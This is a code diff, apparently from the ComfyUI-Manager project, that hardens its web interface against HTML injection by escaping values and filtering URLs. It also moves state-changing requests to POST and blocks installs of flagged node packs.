const { data, error } = await fetchData(`/v2/manager/queue/batch`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(batch)
|
||||
});
|
||||
if (error) throw error;
|
||||
if (!Array.isArray(data?.failed)) throw new Error('Invalid batch response.');
|
||||
failed = data.failed;
|
||||
} catch (error) {
|
||||
errorMsg = `Failed to submit installation request: ${sanitizeHTML(String(error))}`;
|
||||
this.showError(errorMsg);
|
||||
show_message("[Installation Errors]\n" + errorMsg);
|
||||
target.classList.remove("cn-btn-loading");
|
||||
this.element.querySelectorAll(".cn-btn-loading").forEach(button => {
|
||||
button.classList.remove("cn-btn-loading");
|
||||
});
|
||||
this.hideLoading();
|
||||
this.hideStop();
|
||||
this.install_context = undefined;
|
||||
return;
|
||||
}
|
||||
for (const id of failed) {
|
||||
const item = target_items.find(item => item.originalData.id === id);
|
||||
errorMsg += `[FAIL] ${item?.title ?? sanitizeHTML(String(id))}\n`;
|
||||
}
|
||||
if (errorMsg) {
|
||||
this.showError(errorMsg);
|
||||
show_message("[Installation Errors]\n" + errorMsg);
|
||||
}
|
||||
|
||||
let failed = await res.json();
|
||||
showTerminal();
|
||||
|
||||
if(failed.length > 0) {
|
||||
for(let k in failed) {
|
||||
let hash = failed[k];
|
||||
const item = this.grid.getRowItemBy("hash", hash);
|
||||
errorMsg = `[FAIL] ${item.title}`;
|
||||
}
|
||||
// No queued work means the server will not send batch-done.
|
||||
if (target_items.every(item => failed.includes(item.originalData.id))) {
|
||||
this.hideLoading();
|
||||
this.hideStop();
|
||||
this.install_context = undefined;
|
||||
return;
|
||||
}
|
||||
|
||||
this.showStop();
|
||||
showTerminal();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1601,7 +1636,7 @@ export class CustomNodesManager {
|
||||
let v = result[hash];
|
||||
|
||||
if(v != 'success' && v != 'skip')
|
||||
errorMsg += v+'\n';
|
||||
errorMsg += sanitizeHTML(String(v))+'\n';
|
||||
}
|
||||
|
||||
for(let k in self.install_context.targets) {
|
||||
@@ -1719,7 +1754,7 @@ export class CustomNodesManager {
|
||||
if(unresolved_cnr_list.length > 0) {
|
||||
let error_msg = "Failed to find the following ComfyRegistry list.\nThe cache may be outdated, or the nodes may have been removed from ComfyRegistry.<HR>";
|
||||
for(let i in unresolved_cnr_list) {
|
||||
error_msg += '<li>'+unresolved_cnr_list[i]+'</li>';
|
||||
error_msg += '<li>'+sanitizeHTML(String(unresolved_cnr_list[i]))+'</li>';
|
||||
}
|
||||
|
||||
show_message(error_msg);
|
||||
@@ -1769,7 +1804,7 @@ export class CustomNodesManager {
|
||||
this.showStatus(`Loading missing nodes (${mode}) ...`);
|
||||
const res = await fetchData(`/v2/customnode/getmappings?mode=${mode}`);
|
||||
if (res.error) {
|
||||
this.showError(`Failed to get custom node mappings: ${res.error}`);
|
||||
this.showError(`Failed to get custom node mappings: ${sanitizeHTML(String(res.error))}`);
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -1884,7 +1919,7 @@ export class CustomNodesManager {
|
||||
this.showStatus(`Loading alternatives (${mode}) ...`);
|
||||
const res = await fetchData(`/v2/customnode/alternatives?mode=${mode}`);
|
||||
if (res.error) {
|
||||
this.showError(`Failed to get alternatives: ${res.error}`);
|
||||
this.showError(`Failed to get alternatives: ${sanitizeHTML(String(res.error))}`);
|
||||
return [];
|
||||
}
|
||||
|
||||
@@ -1901,7 +1936,7 @@ export class CustomNodesManager {
|
||||
}
|
||||
|
||||
const tags = `${item.tags}`.split(",").map(tag => {
|
||||
return `<div>${tag.trim()}</div>`;
|
||||
return `<div>${sanitizeHTML(tag.trim())}</div>`;
|
||||
}).join("");
|
||||
|
||||
hashMap[custom_node.hash] = {
|
||||
@@ -1948,7 +1983,7 @@ export class CustomNodesManager {
|
||||
this.custom_nodes = node_packs;
|
||||
|
||||
if(this.channel !== 'default') {
|
||||
this.element.querySelector(".cn-manager-channel").innerHTML = `Channel: ${this.channel} (Incomplete list)`;
|
||||
this.element.querySelector(".cn-manager-channel").innerHTML = `Channel: ${sanitizeHTML(String(this.channel))} (Incomplete list)`;
|
||||
}
|
||||
|
||||
for (const k in node_packs) {
|
||||
@@ -2077,6 +2112,7 @@ export class CustomNodesManager {
|
||||
// ===========================================================================================
|
||||
|
||||
showSelection(msg) {
|
||||
// Takes composed HTML (buttons included); ingredients are escaped in renderSelected.
|
||||
this.element.querySelector(".cn-manager-selection").innerHTML = msg;
|
||||
}
|
||||
|
||||
@@ -2084,18 +2120,17 @@ export class CustomNodesManager {
|
||||
this.showMessage(err, "red");
|
||||
}
|
||||
|
||||
// Messages contain HTML: preserve server-escaped names and escape raw values at the caller.
|
||||
showMessage(msg, color) {
|
||||
if (color) {
|
||||
msg = `<font color="${color}">${msg}</font>`;
|
||||
}
|
||||
this.element.querySelector(".cn-manager-message").innerHTML = msg;
|
||||
const element = this.element.querySelector(".cn-manager-message");
|
||||
element.style.color = color || "";
|
||||
element.innerHTML = msg ?? "";
|
||||
}
|
||||
|
||||
showStatus(msg, color) {
|
||||
if (color) {
|
||||
msg = `<font color="${color}">${msg}</font>`;
|
||||
}
|
||||
this.element.querySelector(".cn-manager-status").innerHTML = msg;
|
||||
const element = this.element.querySelector(".cn-manager-status");
|
||||
element.style.color = color || "";
|
||||
element.innerHTML = msg ?? "";
|
||||
}
|
||||
|
||||
showLoading() {
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
import { Grid } from "./turbogrid.esm.js";
|
||||
|
||||
// Keep Manager's search hardening outside the vendored TurboGrid bundle.
|
||||
export default class ManagerGrid extends Grid {
|
||||
highlightKeywordsFilter(rowItem, columns, value) {
|
||||
const { textKey, textGenerator, highlightKey } = this.options.highlightKeywords;
|
||||
for (const column of columns) {
|
||||
rowItem[`${highlightKey}${column}`] = null;
|
||||
}
|
||||
const keywords = value ? String(value).trim().toLowerCase().split(/\s+/).filter(Boolean) : [];
|
||||
if (!keywords.length) return true;
|
||||
|
||||
let matched = false;
|
||||
for (const column of columns) {
|
||||
const value = typeof textGenerator === "function" ? textGenerator(rowItem, column) : rowItem[column];
|
||||
if (value === null || value === undefined) continue;
|
||||
let text = String(value).trim();
|
||||
if (!text) continue;
|
||||
const key = `${textKey}${column}`;
|
||||
if (rowItem[key] === null || rowItem[key] === undefined) {
|
||||
// A detached element's innerHTML can still run image handlers.
|
||||
rowItem[key] = new DOMParser().parseFromString(text, "text/html").body.textContent;
|
||||
}
|
||||
text = rowItem[key].toLowerCase();
|
||||
let offset = 0;
|
||||
const found = keywords.every(keyword => {
|
||||
const index = text.indexOf(keyword, offset);
|
||||
if (index === -1) return false;
|
||||
offset = index + keyword.length;
|
||||
return true;
|
||||
});
|
||||
if (found) {
|
||||
rowItem[`${highlightKey}${column}`] = true;
|
||||
this.highlightKeywords = keywords;
|
||||
matched = true;
|
||||
}
|
||||
}
|
||||
return matched;
|
||||
}
|
||||
|
||||
highlightTextNodes(nodes, keywords) {
|
||||
if (!keywords.length) return;
|
||||
let keywordIndex = 0;
|
||||
for (const node of nodes) {
|
||||
const text = node.textContent;
|
||||
const lower = text.toLowerCase();
|
||||
const wrapper = document.createElement("span");
|
||||
let offset = 0;
|
||||
while (offset < text.length) {
|
||||
const keyword = keywords[keywordIndex];
|
||||
const index = lower.indexOf(keyword, offset);
|
||||
if (index === -1) break;
|
||||
wrapper.append(text.slice(offset, index));
|
||||
const mark = document.createElement("mark");
|
||||
mark.textContent = text.slice(index, index + keyword.length);
|
||||
wrapper.append(mark);
|
||||
offset = index + keyword.length;
|
||||
keywordIndex = (keywordIndex + 1) % keywords.length;
|
||||
}
|
||||
if (wrapper.childNodes.length) {
|
||||
// Decoded cell text stays in text nodes, including inside <mark>.
|
||||
wrapper.append(text.slice(offset));
|
||||
node.replaceWith(wrapper);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -3,17 +3,22 @@ import { $el } from "../../scripts/ui.js";
|
||||
import {
|
||||
manager_instance, rebootAPI,
|
||||
fetchData, md5, icons, show_message, customAlert, infoToast, showTerminal,
|
||||
storeColumnWidth, restoreColumnWidth, loadCss, generateUUID
|
||||
storeColumnWidth, restoreColumnWidth, loadCss, generateUUID,
|
||||
sanitizeHTML, sanitizeUrl
|
||||
} from "./common.js";
|
||||
|
||||
// Model names and descriptions are server-escaped; other fields are raw.
|
||||
|
||||
import { api } from "../../scripts/api.js";
|
||||
|
||||
// https://cenfun.github.io/turbogrid/api.html
|
||||
import TG from "./turbogrid.esm.js";
|
||||
import ManagerGrid from "./manager-grid.js";
|
||||
import { buildGuiFrameCustomHeader, createSettingsCombo } from "./comfyui-gui-builder.js";
|
||||
|
||||
loadCss("./model-manager.css");
|
||||
|
||||
const gridId = "model";
|
||||
const escapeCell = (value) => sanitizeHTML(String(value ?? ""));
|
||||
|
||||
const pageHtml = `
|
||||
<div class="cmm-manager cmm-manager-dark">
|
||||
@@ -101,22 +106,17 @@ export class ModelManager {
|
||||
|
||||
updateFilter() {
|
||||
const $filter = this.element.querySelector(".cmm-manager-filter");
|
||||
$filter.innerHTML = this.filterList.map(item => {
|
||||
const selected = item.value === this.filter ? " selected" : "";
|
||||
return `<option value="${item.value}"${selected}>${item.label}</option>`
|
||||
}).join("");
|
||||
const option = (item, current) => {
|
||||
const selected = item.value === current ? " selected" : "";
|
||||
return `<option value="${sanitizeHTML(String(item.value ?? ''))}"${selected}>${sanitizeHTML(String(item.label ?? ''))}</option>`;
|
||||
};
|
||||
$filter.innerHTML = this.filterList.map(item => option(item, this.filter)).join("");
|
||||
|
||||
const $type = this.element.querySelector(".cmm-manager-type");
|
||||
$type.innerHTML = this.typeList.map(item => {
|
||||
const selected = item.value === this.type ? " selected" : "";
|
||||
return `<option value="${item.value}"${selected}>${item.label}</option>`
|
||||
}).join("");
|
||||
$type.innerHTML = this.typeList.map(item => option(item, this.type)).join("");
|
||||
|
||||
const $base = this.element.querySelector(".cmm-manager-base");
|
||||
$base.innerHTML = this.baseList.map(item => {
|
||||
const selected = item.value === this.base ? " selected" : "";
|
||||
return `<option value="${item.value}"${selected}>${item.label}</option>`
|
||||
}).join("");
|
||||
$base.innerHTML = this.baseList.map(item => option(item, this.base)).join("");
|
||||
|
||||
}
|
||||
|
||||
@@ -170,7 +170,7 @@ export class ModelManager {
|
||||
|
||||
".cmm-manager-stop": {
|
||||
click: () => {
|
||||
api.fetchApi('/v2/manager/queue/reset');
|
||||
api.fetchApi('/v2/manager/queue/reset', { method: 'POST' });
|
||||
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
|
||||
}
|
||||
},
|
||||
@@ -199,7 +199,7 @@ export class ModelManager {
|
||||
|
||||
initGrid() {
|
||||
const container = this.element.querySelector(".cmm-manager-grid");
|
||||
const grid = new TG.Grid(container);
|
||||
const grid = new ManagerGrid(container);
|
||||
this.grid = grid;
|
||||
|
||||
grid.bind('onUpdated', (e, d) => {
|
||||
@@ -227,6 +227,9 @@ export class ModelManager {
|
||||
});
|
||||
|
||||
grid.setOption({
|
||||
highlightKeywords: {
|
||||
textGenerator: (row, column) => ['name', 'description'].includes(column) ? row[column] : escapeCell(row[column])
|
||||
},
|
||||
theme: 'dark',
|
||||
|
||||
selectVisible: true,
|
||||
@@ -325,7 +328,12 @@ export class ModelManager {
|
||||
maxWidth: 500,
|
||||
classMap: 'cmm-node-name',
|
||||
formatter: function(name, rowItem, columnItem, cellNode) {
|
||||
return `<a href=${rowItem.reference} target="_blank"><b>${name}</b></a>`;
|
||||
// Names are server-escaped; raw references need URL and attribute handling.
|
||||
const href = sanitizeUrl(rowItem.reference);
|
||||
if (!href) {
|
||||
return `<b>${String(name ?? '')}</b>`;
|
||||
}
|
||||
return `<a href="${sanitizeHTML(href)}" target="_blank" rel="noopener noreferrer"><b>${String(name ?? '')}</b></a>`;
|
||||
}
|
||||
}, {
|
||||
id: 'installed',
|
||||
@@ -351,7 +359,11 @@ export class ModelManager {
|
||||
sortable: false,
|
||||
align: 'center',
|
||||
formatter: (url, rowItem, columnItem) => {
|
||||
return `<a class="cmm-btn-download" tooltip="Download file" href="${url}" target="_blank">${icons.download}</a>`;
|
||||
const href = sanitizeUrl(url);
|
||||
if (!href) {
|
||||
return '';
|
||||
}
|
||||
return `<a class="cmm-btn-download" tooltip="Download file" href="${sanitizeHTML(href)}" target="_blank" rel="noopener noreferrer">${icons.download}</a>`;
|
||||
}
|
||||
}, {
|
||||
id: 'size',
|
||||
@@ -361,29 +373,33 @@ export class ModelManager {
|
||||
if (typeof size === "number") {
|
||||
return this.formatSize(size);
|
||||
}
|
||||
return size;
|
||||
return sanitizeHTML(String(size ?? ''));
|
||||
}
|
||||
}, {
|
||||
id: 'type',
|
||||
name: 'Type',
|
||||
width: 100
|
||||
width: 100,
|
||||
formatter: escapeCell
|
||||
}, {
|
||||
id: 'base',
|
||||
name: 'Base'
|
||||
name: 'Base',
|
||||
formatter: escapeCell
|
||||
}, {
|
||||
id: 'description',
|
||||
name: 'Description',
|
||||
width: 400,
|
||||
maxWidth: 5000,
|
||||
classMap: 'cmm-node-desc'
|
||||
classMap: 'cmm-node-desc' // composed HTML from the server (convert_markdown_to_html)
|
||||
}, {
|
||||
id: "save_path",
|
||||
name: 'Save Path',
|
||||
width: 200
|
||||
width: 200,
|
||||
formatter: escapeCell
|
||||
}, {
|
||||
id: 'filename',
|
||||
name: 'Filename',
|
||||
width: 200
|
||||
width: 200,
|
||||
formatter: escapeCell
|
||||
}];
|
||||
|
||||
restoreColumnWidth(gridId, columns);
|
||||
@@ -433,7 +449,6 @@ export class ModelManager {
|
||||
btn.classList.add("cmm-btn-loading");
|
||||
this.showError("");
|
||||
|
||||
let needRefresh = false;
|
||||
let errorMsg = "";
|
||||
|
||||
let target_items = [];
|
||||
@@ -454,6 +469,8 @@ export class ModelManager {
|
||||
|
||||
const data = item.originalData;
|
||||
data.ui_id = item.hash;
|
||||
// Batch rejections refer to id; models need a stable request ID.
|
||||
data.id ??= item.hash;
|
||||
|
||||
|
||||
if(batch['install_model']) {
|
||||
@@ -466,38 +483,54 @@ export class ModelManager {
|
||||
|
||||
this.install_context = {btn: btn, targets: target_items};
|
||||
|
||||
if(errorMsg) {
|
||||
this.showError(errorMsg);
|
||||
show_message("[Installation Errors]\n"+errorMsg);
|
||||
this.batch_id = generateUUID();
|
||||
batch['batch_id'] = this.batch_id;
|
||||
|
||||
// reset
|
||||
for(let k in target_items) {
|
||||
const item = target_items[k];
|
||||
this.grid.updateCell(item, "installed");
|
||||
}
|
||||
}
|
||||
else {
|
||||
this.batch_id = generateUUID();
|
||||
batch['batch_id'] = this.batch_id;
|
||||
|
||||
const res = await api.fetchApi(`/v2/manager/queue/batch`, {
|
||||
let failed;
|
||||
try {
|
||||
const { data, error } = await fetchData(`/v2/manager/queue/batch`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(batch)
|
||||
});
|
||||
|
||||
let failed = await res.json();
|
||||
|
||||
if(failed.length > 0) {
|
||||
for(let k in failed) {
|
||||
let hash = failed[k];
|
||||
const item = self.grid.getRowItemBy("hash", hash);
|
||||
errorMsg = `[FAIL] ${item.title}`;
|
||||
}
|
||||
}
|
||||
|
||||
this.showStop();
|
||||
showTerminal();
|
||||
if (error) throw error;
|
||||
if (!Array.isArray(data?.failed)) throw new Error('Invalid batch response.');
|
||||
failed = data.failed;
|
||||
} catch (error) {
|
||||
errorMsg = `Failed to submit installation request: ${sanitizeHTML(String(error))}`;
|
||||
this.showError(errorMsg);
|
||||
show_message("[Installation Errors]\n" + errorMsg);
|
||||
btn.classList.remove("cmm-btn-loading");
|
||||
this.element.querySelectorAll(".cmm-btn-loading").forEach(button => {
|
||||
button.classList.remove("cmm-btn-loading");
|
||||
});
|
||||
this.hideLoading();
|
||||
this.hideStop();
|
||||
this.install_context = undefined;
|
||||
return;
|
||||
}
|
||||
for (const id of failed) {
|
||||
const item = target_items.find(item => item.originalData.id === id);
|
||||
errorMsg += `[FAIL] ${item?.name ?? sanitizeHTML(String(id))}\n`;
|
||||
}
|
||||
if (errorMsg) {
|
||||
this.showError(errorMsg);
|
||||
show_message("[Installation Errors]\n" + errorMsg);
|
||||
}
|
||||
|
||||
showTerminal();
|
||||
|
||||
// No queued work means the server will not send batch-done.
|
||||
if (target_items.every(item => failed.includes(item.originalData.id))) {
|
||||
this.element.querySelectorAll(".cmm-btn-loading").forEach(button => {
|
||||
button.classList.remove("cmm-btn-loading");
|
||||
});
|
||||
this.hideLoading();
|
||||
this.hideStop();
|
||||
this.install_context = undefined;
|
||||
return;
|
||||
}
|
||||
|
||||
this.showStop();
|
||||
}
|
||||
|
||||
async onQueueStatus(event) {
|
||||
@@ -544,7 +577,7 @@ export class ModelManager {
|
||||
let v = result[hash];
|
||||
|
||||
if(v != 'success')
|
||||
errorMsg += v + '\n';
|
||||
errorMsg += sanitizeHTML(String(v)) + '\n';
|
||||
}
|
||||
|
||||
for(let k in self.install_context.targets) {
|
||||
@@ -720,22 +753,20 @@ export class ModelManager {
|
||||
this.showMessage(err, "red");
|
||||
}
|
||||
|
||||
// Messages contain HTML: preserve server-escaped names and escape raw values at the caller.
|
||||
showMessage(msg, color) {
|
||||
if (color) {
|
||||
msg = `<font color="${color}">${msg}</font>`;
|
||||
}
|
||||
this.element.querySelector(".cmm-manager-message").innerHTML = msg;
|
||||
const element = this.element.querySelector(".cmm-manager-message");
|
||||
element.style.color = color || "";
|
||||
element.innerHTML = msg ?? "";
|
||||
}
|
||||
|
||||
showStatus(msg, color) {
|
||||
if (color) {
|
||||
msg = `<font color="${color}">${msg}</font>`;
|
||||
}
|
||||
this.element.querySelector(".cmm-manager-status").innerHTML = msg;
|
||||
const element = this.element.querySelector(".cmm-manager-status");
|
||||
element.style.color = color || "";
|
||||
element.innerHTML = msg ?? "";
|
||||
}
|
||||
|
||||
showLoading() {
|
||||
// this.setDisabled(true);
|
||||
if (this.grid) {
|
||||
this.grid.showLoading();
|
||||
this.grid.showMask({
|
||||
@@ -745,45 +776,12 @@ export class ModelManager {
|
||||
}
|
||||
|
||||
hideLoading() {
|
||||
// this.setDisabled(false);
|
||||
if (this.grid) {
|
||||
this.grid.hideLoading();
|
||||
this.grid.hideMask();
|
||||
}
|
||||
}
|
||||
|
||||
setDisabled(disabled) {
|
||||
const $close = this.element.querySelector(".cmm-manager-close");
|
||||
const $refresh = this.element.querySelector(".cmm-manager-refresh");
|
||||
const $stop = this.element.querySelector(".cmm-manager-stop");
|
||||
|
||||
const list = [
|
||||
".cmm-manager-header input",
|
||||
".cmm-manager-header select",
|
||||
".cmm-manager-footer button",
|
||||
".cmm-manager-selection button"
|
||||
].map(s => {
|
||||
return Array.from(this.element.querySelectorAll(s));
|
||||
})
|
||||
.flat()
|
||||
.filter(it => {
|
||||
return it !== $close && it !== $refresh && it !== $stop;
|
||||
});
|
||||
|
||||
list.forEach($elem => {
|
||||
if (disabled) {
|
||||
$elem.setAttribute("disabled", "disabled");
|
||||
} else {
|
||||
$elem.removeAttribute("disabled");
|
||||
}
|
||||
});
|
||||
|
||||
Array.from(this.element.querySelectorAll(".cmm-btn-loading")).forEach($elem => {
|
||||
$elem.classList.remove("cmm-btn-loading");
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
showRefresh() {
|
||||
this.element.querySelector(".cmm-manager-refresh").style.display = "block";
|
||||
}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { app } from "../../scripts/app.js";
|
||||
import { api } from "../../scripts/api.js"
|
||||
import { ComfyDialog, $el } from "../../scripts/ui.js";
|
||||
import { manager_instance, rebootAPI, show_message, loadCss } from "./common.js";
|
||||
import { manager_instance, rebootAPI, show_message, loadCss, sanitizeHTML } from "./common.js";
|
||||
import { buildGuiFrame } from "./comfyui-gui-builder.js";
|
||||
|
||||
loadCss("./snapshot.css");
|
||||
@@ -9,7 +9,7 @@ loadCss("./snapshot.css");
|
||||
async function restore_snapshot(target) {
|
||||
if(SnapshotManager.instance) {
|
||||
try {
|
||||
const response = await api.fetchApi(`/v2/snapshot/restore?target=${target}`, { cache: "no-store" });
|
||||
const response = await api.fetchApi(`/v2/snapshot/restore?target=${target}`, { method: 'POST', cache: "no-store" });
|
||||
|
||||
if(response.status == 403) {
|
||||
show_message('This action is not allowed with this security level configuration.');
|
||||
@@ -37,7 +37,7 @@ async function restore_snapshot(target) {
|
||||
async function remove_snapshot(target) {
|
||||
if(SnapshotManager.instance) {
|
||||
try {
|
||||
const response = await api.fetchApi(`/v2/snapshot/remove?target=${target}`, { cache: "no-store" });
|
||||
const response = await api.fetchApi(`/v2/snapshot/remove?target=${target}`, { method: 'POST', cache: "no-store" });
|
||||
|
||||
if(response.status == 403) {
|
||||
show_message('This action is not allowed with this security level configuration.');
|
||||
@@ -63,7 +63,7 @@ async function remove_snapshot(target) {
|
||||
|
||||
async function save_current_snapshot() {
|
||||
try {
|
||||
const response = await api.fetchApi('/v2/snapshot/save', { cache: "no-store" });
|
||||
const response = await api.fetchApi('/v2/snapshot/save', { method: 'POST', cache: "no-store" });
|
||||
app.ui.dialog.close();
|
||||
return true;
|
||||
}
|
||||
@@ -133,7 +133,7 @@ export class SnapshotManager extends ComfyDialog {
|
||||
startRestore(target) {
|
||||
const self = SnapshotManager.instance;
|
||||
|
||||
self.updateMessage(`<BR><font color="green">Restore snapshot '${target.name}'</font>`);
|
||||
self.updateMessage(`<BR><font color="green">Restore snapshot '${sanitizeHTML(String(target.name ?? ''))}'</font>`);
|
||||
|
||||
for(let i in self.restore_buttons) {
|
||||
self.restore_buttons[i].disabled = true;
|
||||
@@ -214,7 +214,7 @@ export class SnapshotManager extends ComfyDialog {
|
||||
data1.style.textAlign = "center";
|
||||
data1.innerHTML = i+1;
|
||||
var data2 = document.createElement('td');
|
||||
data2.innerHTML = ` ${data}`;
|
||||
data2.textContent = `\u00a0${data}`;
|
||||
var data_button = document.createElement('td');
|
||||
data_button.style.textAlign = "center";
|
||||
data_button.className = "data-btns";
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
"""HTML rendering helpers used only by the legacy Manager UI."""
|
||||
import re
|
||||
from html import escape, unescape
|
||||
from html.entities import html5
|
||||
|
||||
|
||||
SAFE_URL_SCHEMES = frozenset({'http', 'https'})
|
||||
_URL_SCHEME_NOISE = re.compile(r'[\x00-\x20\x7f]')
|
||||
_URL_HEAD_DELIMITERS = ('/', '?', '#')
|
||||
|
||||
|
||||
def escape_html_attribute(value):
|
||||
"""Escape a value for a quoted HTML attribute."""
|
||||
return escape(str(value), quote=True)
|
||||
|
||||
|
||||
_HTML_ENTITY = re.compile(r'&(#[0-9]+|#[xX][0-9a-fA-F]+|[A-Za-z][A-Za-z0-9]*);')
|
||||
_HTML_TEXT_TOKEN = re.compile(_HTML_ENTITY.pattern + "|[&<>\"']")
|
||||
|
||||
|
||||
def unescape_html_entities(text):
|
||||
"""Decode complete entities once, leaving query keys such as ¬ebook intact."""
|
||||
def replace(match):
|
||||
entity = match.group(1)
|
||||
if entity.startswith('#'):
|
||||
return unescape(match.group(0))
|
||||
return html5.get(entity + ';', match.group(0))
|
||||
|
||||
return _HTML_ENTITY.sub(replace, text)
|
||||
|
||||
|
||||
def escape_html_text(value):
|
||||
"""Escape HTML text without double-escaping existing entities."""
|
||||
return _HTML_TEXT_TOKEN.sub(
|
||||
lambda m: m.group(0) if m.group(1) else escape_html_attribute(m.group(0)),
|
||||
str(value),
|
||||
)
|
||||
|
||||
|
||||
def sanitize_url(url):
|
||||
"""Allow HTTP(S), relative URLs and anchors.
|
||||
|
||||
HTML callers must also escape the result as an attribute."""
|
||||
raw = '' if url is None else str(url)
|
||||
probe = _URL_SCHEME_NOISE.sub('', raw)
|
||||
if not probe:
|
||||
return '#'
|
||||
|
||||
cut = len(probe)
|
||||
for delimiter in _URL_HEAD_DELIMITERS:
|
||||
found = probe.find(delimiter)
|
||||
if found != -1:
|
||||
cut = min(cut, found)
|
||||
head = probe[:cut]
|
||||
|
||||
if ':' in head:
|
||||
return raw.strip() if head.split(':', 1)[0].lower() in SAFE_URL_SCHEMES else '#'
|
||||
|
||||
return raw.strip()
|
||||
|
||||
|
||||
def sanitize_html_fragment(fragment):
|
||||
"""Sanitize notice HTML, preserving its formatting and opening links safely."""
|
||||
# Keep nh3 loading within the legacy notice path.
|
||||
import nh3
|
||||
|
||||
return nh3.clean(
|
||||
'' if fragment is None else str(fragment),
|
||||
tags=nh3.ALLOWED_TAGS | {'font'},
|
||||
attributes={
|
||||
**nh3.ALLOWED_ATTRIBUTES,
|
||||
'*': {'class', 'title', 'align', 'width', 'height'},
|
||||
'font': {'color'},
|
||||
},
|
||||
# These elements previously hid their contents from the notice.
|
||||
clean_content_tags={
|
||||
'script', 'style', 'iframe', 'object', 'embed', 'svg', 'math',
|
||||
'template', 'noscript', 'textarea', 'title',
|
||||
},
|
||||
url_schemes=SAFE_URL_SCHEMES,
|
||||
set_tag_attribute_values={'a': {'target': '_blank'}},
|
||||
)
|
||||
@@ -33,8 +33,10 @@ from packaging import version
|
||||
import uuid
|
||||
|
||||
from ..common import cm_global
|
||||
from ..common.config_writer import DirtyTrackingConfig, write_config_merged
|
||||
from ..common import cnr_utils
|
||||
from ..common import manager_util
|
||||
from ..common import manager_security
|
||||
from ..common import git_utils
|
||||
from ..common import manager_downloader
|
||||
from ..common.node_package import InstalledNodePackage
|
||||
@@ -42,8 +44,13 @@ from ..common.enums import NetworkMode, SecurityLevel, DBMode
|
||||
from ..common import context
|
||||
|
||||
|
||||
version_code = [4, 0, 5]
|
||||
version_str = f"V{version_code[0]}.{version_code[1]}" + (f'.{version_code[2]}' if len(version_code) > 2 else '')
|
||||
try:
|
||||
from importlib.metadata import version as _pkg_version
|
||||
_raw_version = _pkg_version("comfyui-manager")
|
||||
except Exception:
|
||||
_raw_version = "unknown"
|
||||
|
||||
version_str = f"V{_raw_version}"
|
||||
|
||||
|
||||
DEFAULT_CHANNEL = "https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main"
|
||||
@@ -861,10 +868,10 @@ class UnifiedManager:
|
||||
|
||||
return res
|
||||
|
||||
def reserve_cnr_switch(self, target, zip_url, from_path, to_path, no_deps):
|
||||
def reserve_cnr_switch(self, target, zip_url, from_path, to_path, no_deps, status=''):
|
||||
script_path = os.path.join(context.manager_startup_script_path, "install-scripts.txt")
|
||||
with open(script_path, "a") as file:
|
||||
obj = [target, "#LAZY-CNR-SWITCH-SCRIPT", zip_url, from_path, to_path, no_deps, get_default_custom_nodes_path(), sys.executable]
|
||||
obj = [target, "#LAZY-CNR-SWITCH-SCRIPT", zip_url, from_path, to_path, no_deps, get_default_custom_nodes_path(), sys.executable, status]
|
||||
file.write(f"{obj}\n")
|
||||
|
||||
print(f"Installation reserved: {target}")
|
||||
@@ -890,35 +897,45 @@ class UnifiedManager:
|
||||
|
||||
return result
|
||||
|
||||
def _get_cnr_install_info(self, node_id, version_spec):
|
||||
node_info = cnr_utils.install_node(node_id, version_spec)
|
||||
if node_info is not None and node_info.status == 'NodeVersionStatusFlagged' and not manager_funcs.is_flagged_install_allowed():
|
||||
logging.error(manager_security.FLAGGED_NODEPACK_INSTALL_GUIDANCE)
|
||||
raise PermissionError(manager_security.FLAGGED_NODEPACK_INSTALL_ERROR)
|
||||
return node_info
|
||||
|
||||
def cnr_switch_version(self, node_id, version_spec=None, instant_execution=False, no_deps=False, return_postinstall=False):
|
||||
if instant_execution:
|
||||
return self.cnr_switch_version_instant(node_id, version_spec, instant_execution, no_deps, return_postinstall)
|
||||
else:
|
||||
return self.cnr_switch_version_lazy(node_id, version_spec, no_deps, return_postinstall)
|
||||
|
||||
def cnr_switch_version_lazy(self, node_id, version_spec=None, no_deps=False, return_postinstall=False):
|
||||
"""
|
||||
switch between cnr version (lazy mode)
|
||||
"""
|
||||
|
||||
result = ManagedResult('switch-cnr')
|
||||
|
||||
node_info = cnr_utils.install_node(node_id, version_spec)
|
||||
try:
|
||||
node_info = self._get_cnr_install_info(node_id, version_spec)
|
||||
except PermissionError as exc:
|
||||
return result.fail(str(exc))
|
||||
if node_info is None or not node_info.download_url:
|
||||
return result.fail(f'not available node: {node_id}@{version_spec}')
|
||||
|
||||
version_spec = node_info.version
|
||||
return self._cnr_switch_version(node_id, node_info, instant_execution, no_deps, return_postinstall)
|
||||
|
||||
if self.active_nodes[node_id][0] == version_spec:
|
||||
def _cnr_switch_version(self, node_id, node_info, instant_execution=False, no_deps=False, return_postinstall=False):
|
||||
"""Execute a switch using the checked CNR response."""
|
||||
if self.active_nodes[node_id][0] == node_info.version:
|
||||
return ManagedResult('skip').with_msg("Up to date")
|
||||
|
||||
if instant_execution:
|
||||
return self._cnr_switch_version_instant(node_id, node_info, no_deps, return_postinstall)
|
||||
return self._cnr_switch_version_lazy(node_id, node_info, no_deps, return_postinstall)
|
||||
|
||||
def _cnr_switch_version_lazy(self, node_id, node_info, no_deps=False, return_postinstall=False):
|
||||
"""Reserve a switch using the validated install response."""
|
||||
result = ManagedResult('switch-cnr')
|
||||
version_spec = node_info.version
|
||||
zip_url = node_info.download_url
|
||||
from_path = self.active_nodes[node_id][1]
|
||||
target = node_id
|
||||
to_path = os.path.join(get_default_custom_nodes_path(), target)
|
||||
|
||||
def postinstall():
|
||||
return self.reserve_cnr_switch(target, zip_url, from_path, to_path, no_deps)
|
||||
return self.reserve_cnr_switch(target, zip_url, from_path, to_path, no_deps, node_info.status)
|
||||
|
||||
if return_postinstall:
|
||||
return result.with_postinstall(postinstall)
|
||||
@@ -928,23 +945,12 @@ class UnifiedManager:
|
||||
|
||||
return result
|
||||
|
||||
def cnr_switch_version_instant(self, node_id, version_spec=None, instant_execution=True, no_deps=False, return_postinstall=False):
|
||||
"""
|
||||
switch between cnr version
|
||||
"""
|
